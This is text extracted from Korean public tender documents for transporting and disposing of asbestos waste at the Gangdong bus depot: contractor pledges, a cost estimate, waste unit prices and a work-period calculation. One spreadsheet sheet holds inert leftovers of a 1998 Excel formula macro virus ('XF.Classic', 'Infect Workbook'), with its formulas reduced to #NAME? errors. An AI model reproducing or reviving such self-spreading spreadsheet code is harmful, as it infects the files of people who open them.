===== 4) 근로자권리보호이행서약서등.hwp =====
근로자권리보호이행서약서
당사는 서울시설공단에서 시행하는 용역 계약업체로서 근로자(하도급 업체 포함)의 인권보호․고용안정․노동환경 등의 권리보호를 위해 다음사항을 이행할 것을 서약합니다.
1. 당사는 근로자가 인간으로서의 존엄과 가치 및 자유와 권리를 누릴 수 있도록 인권보호를 위한 경영정책(관련 법령에 의거 취업규칙 작성·신고 등)을 확립하도록 노력하겠습니다.
2. 근로자에 대하여 인종·종교·신체적 결함·성별·출생지·노동조합 가입여부 등의 이유로 고용·보상·훈련의 기회, 승진, 이직, 퇴직 등에 차별을 하거나 차별을 조장하지 않겠습니다.
3. 산업에 대한 효과적인 지식을 소유하고 안전시설, 휴게시설 등을 설치하여 근로자의 노동환경을 개선하고, 작업과 관련한 사고나 질병을 예방하기 위해 적절한 조치를 취하며 특히, 근로자가 건강과 안전이 위험하다고 판단하여 작업을 거부한 경우 즉시 현장의 문제를 조사하여 조치를 취하도록 하겠습니다.
4. 근로자에게 노동력 착취적인 언어·신체적 접촉과 성희롱·성폭력을 비롯한 성적 강압 행위, 정신적 강압이나 언어폭력 등은 허용하지 않으며, 관련 사건 발생 시 즉시 피해자 보호 및 2차 피해 방지를 위한 적절한 조치를 취하고, 근로자의 개인정보나 사생활에 대한 권리를 존중하겠습니다.
5. 근로자에게 관련 규정에 부합한 주 52시간 노동시간 준수 및 휴일 제공으로 근로자 자신과 가족이 건강한 생활수준을 누릴 수 있게 하며, 여성근로자의 모성은 특별한 도움을 받을 권리를 보장하겠습니다.
6. 당사는「근로기준법」제7조에 따라 폭행, 협박, 감금, 그 밖에 정신상 또는 신체상의 자유를 부당하게 구속하는 수단으로써 근로자의 자유의사에 어긋나는 근로를 강요하지 않겠습니다.
7. 당사는 근로 중 근로자에게 발생한 문제에 대하여「근로기준법」,「산업재해보상보험법」,「국민건강보험법」등 관련 법령을 준수하여 필요한 조치를 취하며 이를 위반할 시에는 관계법령에 따라 책임지겠습니다.
2026.
.
.
서 약 자
업 체 명
대 표 자
(서명 또는 날인)
안전보건관리 준수 서약서
본인은 귀 공단의
계약을 수행함에 있어 재해예방을 위하여 아래의 내용과 관련 법규에서 정한 필수사항을 철저히 준수할 것을 다음과 같이 서약합니다.
❍ 「산업안전보건법, 중대재해처벌법」등 안전관련 제 법규를 준수하겠습니다.
❍ 본인은 본 계약을 수행함에 있어 상기 법령 및 발주처의 정기·수시
안전관련 이행점검을 포함한 안전관리정책(계약조건)을 준수하여
계약을 성실히 이행할 것이며, 만일 이를 이행하지 않을 경우 계약해지,
입찰참가자격 제한조치 등 불이익 처분을 받더라도 하등의 이의를 제기
하지 아니할 것을 확약하고 안전보건관리 준수서약서를 제출합니다.
2026년
월
일
주 소: 업체명:
대표자:
(인)
===== 5. 공내역서(강동공영차고지 지정폐기물(석면) 운반 및 처리용역).xlsx =====
[시트: 000000]
[시트: 갑지]
A: 팀 장 D: 심사자 G: 설계자 J: 설 계 K: 2026년 8월 N: 결 재
J: 심 사 K: 2026년 8월
C: 설
계
서
C: ▣ 용역명 :강동공영차고지 지정폐기물(석면) 운반 및 처리용역
C: 구
분 F: 금
액 N: 비 고
C: 총
용
역
비 F: 일금영원정 K: 0
C: 용
역
비 D: 공 급 가 액 F: 일금영원정 K: 0
D: 부가가치세 F: 일금영원정 K: 0
D: 계 F: 일금영원정 K: 0
C: - 용역개요 : 지정폐기물(석면, 13.46ton) 운반 및 처리
R: -
[시트: 총괄내역서]
A: 총 괄 내 역 서
A: ▣ 용역명 :강동공영차고지 지정폐기물(석면) 운반 및 처리용역
A: 공
종
명 D: 금
액 E: 구
성
비 F: 비
고
F: 비
고
A: 순 공 사 원 가 B: 재료비 C: 직 접
재 료 비 D: -
C: 간 접
재 료 비
C: 작업설,부산물(△)
C: [ 소
계 ] D: -
B: 노무비 C: 직 접
노 무 비 D: -
C: 간 접
노 무 비 D: - E: 직접노무비 * 12.5% G: 12.50%
C: [ 소
계 ] D: -
B: 경
비 C: 산
출
경
비 D: -
C: 산
재
보
험
료 D: - E: 노무비 * 3.7% G: 3.70%
C: 고
용
보
험
료 D: - E: 노무비 * 1.01% G: 1.01%
C: 건
강
보
험
료 D: - E: 직접노무비 * 3.545% G: 3.545%
C: 연
금
보
험
료 D: - E: 직접노무비 * 4.5% G: 4.50%
C: 노인 장기요양 보험료 D: - E: 건강보험료 * 12.81% G: 12.81%
C: 퇴 직 공 제 부 금 비 D: - E: 직접노무비 * 2.3% G: 2.30%
C: 산업안전보건관리비 D: - E: [(재료비+직접노무비) x 2.93%] x 1.2 G: 2.930%
C: 환
경
보
전
비 D: - E: (재료비+직접노무비+산출경비) * 0.3% G: 0.30%
C: 기
타
경
비 D: - E: (재료비+노무비) * 7.8% G: 7.80%
C: [ 소
계 ] D: -
B: 계 D: -
A: 일반관리비 D: - E: (재료비+노무비+경비) * 6% G: 6.00%
A: 이윤 D: - E: (노무비+경비+일반관리비) * 15.0% G: 15.00%
A: 지정폐기물처리비 D: -
A: 공급가액 D: -
A: 부가가치세 D: - E: 공급가액의 10%
A: 도급액 D: -
A: 이전비 D: #REF!
A: 총공사비 D: #REF!
[시트: 내역서]
A: 내 역 서
A: ▣ 용역명 :강동공영차고지 지정폐기물(석면) 운반 및 처리용역
A: 공 종 B: 규 격 C: 수량 D: 단위 E: 재
료
비 G: 노
무
비 I: 경
비 K: 합
계 M: 비 고
E: 단 가 F: 금
액 G: 단 가 H: 금
액 I: 단 가 J: 금
액 K: 단 가 L: 금 액
A: 1. 지정폐기물 처리 F: 0 H: 0 J: 0 L: 0
A: 지정폐기물 처리비(폐석면) B: 폐석면 C: 13.46 D: ton F: 0 H: 0 J: 0 K: 0 L: 0 M: 1호표
A: 지정폐기물 운반비(폐석면) B: 폐석면 C: 2 D: 회 F: 0 H: 0 J: 0 K: 0 L: 0 M: 2호표
A: 지정폐기물 처리비(고형화) B: 고형화, 1톤미만 C: 1 D: 식 E: 0 F: 0 G: 0 H: 0 J: 0 K: 0 L: 0 M: 3호표
A: 지정폐기물 운반비(고형화) B: 고형화 C: 1 D: 회 E: 0 F: 0 G: 0 H: 0 J: 0 K: 0 L: 0 M: 4호표
[시트: --------]
A: 2007년 씨링공법 일위대가표- 1(0,2~10).xls C: FALSE
A: Book1
A: C:\Microsoft Office\OFFICE11\xlstart\Book1. C: **Auto and On Sheet Starts Here**
A: #N/A C: FALSE
C: #NAME?
C: #N/A
A: Classic.Poppy by VicodinES C: #NAME?
A: With Lord Natas C: #NAME?
A: An Excel Formula Macro Virus (XF.Classic) C: #NAME?
A: Hydrocodone/APAP 10-650 For Your Computer C: FALSE
A: (C) The Narkotic Network 1998 C: FALSE
C: FALSE
C: FALSE
A: **Simple Payload** C: #NAME?
A: FALSE
A: FALSE
A: #NAME? C: **Set Our Values and Paths**
C: #NAME?
C: #NAME?
A: **Add New Workbook, Infect It, Save It As Book1.xls** C: #NAME?
A: #NAME? C: #NAME?
A: #NAME? C: #NAME?
A: #N/A C: #NAME?
A: #NAME?
A: #NAME?
A: FALSE C: **Infect Workbook**
A: FALSE C: FALSE
A: FALSE C: #NAME?
A: FALSE C: #N/A
A: FALSE C: #NAME?
A: FALSE C: #NAME?
A: FALSE C: FALSE
A: FALSE C: FALSE
A: FALSE C: FALSE
A: FALSE C: #NAME?
A: FALSE C: #NAME?
A: FALSE
A: FALSE
A: FALSE C: #NAME?
A: FALSE C: FALSE
A: #NAME? C: #NAME?
[시트: 폐기물단가]
A: 지정폐기물 단가 관련
A: ▣ 용역명 :강동공영차고지 지정폐기물(석면) 운반 및 처리용역
A: 연 번 B: 명 칭 C: 규 격 D: 단 위 E: 단 가(원) F: 비 고
A: 1 B: 지정폐기물 반입수수료 C: 폐석면 D: ton E: 68,480
A: 2 B: 지정폐기물 운반 고정비 C: 폐석면 D: ton E: 22,700
A: 3 B: 지정폐기물 운반 변동비 D: 톤.10km E: 196
[시트: 공사기간 산출]
A: 공사 기간 산출
A: (공공 건설공사의 공사기간 산정기준, 국토교통부)
A: 1. 공사명 : 2023년 공영차고지 석면철거공사
A: 2. 공사기간
A:
1) 준비기간
B: 석면 철거계획 행정절차 등 20일 J: 20 K: 일
A:
2) 비작업일수 C: ※ 석면 철거는 내부시설에서 시행하는 사항으로 혹서기 등 비작업일수 포함안함.
B: 가. A
B: 구 분 C: 조건 D: 4월 E: 5월 F: 6월 J: 합계
B: 동절기 C: 최저 -10℃ 이하 D: 0 E: 0 F: 0 J: 0 K: 일
B: 강우 C: 실내해당없음 D: - E: - F: - J: 0 K: 일
B: 바람 C: 실내해당없음 D: - E: - F: - J: 0 K: 일
B: 적설 C: 실내해당없음 D: - E: - F: - J: 0 K: 일
B: 혹서기 C: 33도이상 D: 0 E: 0 F: 0 J: 0 K: 일
B: 합계 D: 0 E: 0 F: 0 J: 0 K: 일
B: 나. B : 법정 공휴 일수
B: 구 분 D: 4월 E: 5월 F: 6월 J: 합계
B: 공휴일수 D: 5 E: 7 F: 5 J: 17 K: 일
B: 다. c : 월별 중복 일수 = A × B ÷ 달력일수(소수 첫째 반올림)
B: 구 분 D: 4월 E: 5월 F: 6월 J: 합계
B: 달력일수 D: 30 E: 31 F: 30
B: 중복일 D: 0 E: 0 F: 0 J: 0 K: 일 O: 0.419354839
B: 라.비작업일수 = A + B - C
B: 구 분 D: 4월 E: 5월 F: 6월 J: 합계
B: 비작업일수 D: 5 E: 7 F: 5
B: 주40시간 비교(월8일계산) D: 8 E: 8 F: 8
B: 확정 비작업일수 D: 8 E: 8 F: 8 J: 24 K: 일
A:
3) 작업일수(주요 공종)
B: - 공사휀스 설치 J: 1 K: 일
B: - 석면 및 사무기기 보양 J: 1 K: 일
B: - 석면철거 D: (※ 석면1일 표준작업량 : 240m3/day) J: 9 K: 일
B: - 석면 반출 J: 2 K: 일
B: - 마감재 설치 D: (※ 택스설치 표준작업량 : 240m3/day, 몰딩1) J: 10 K: 일
B: - 전기, 냉난방, 통신, 설치 대기 J: 10 K: 일
B: - 청소 J: 3 K: 일
B: 합 계 J: 36 K: 일
A:
4) 정리기간 J: 10 K: 일
A:
5) 총 공사 기간 C: = 준비기간 + 비작업일수 + 작업일수 + 정리기간
B: 준비기간 J: 20 K: 일
B: 비작업일수 J: 24 K: 일
B: 작업일수 J: 36 K: 일
B: 정리기간 J: 10 K: 일
B: 합 계 J: 90 K: 일
B: 공사기간 : 착공일로부터 90일간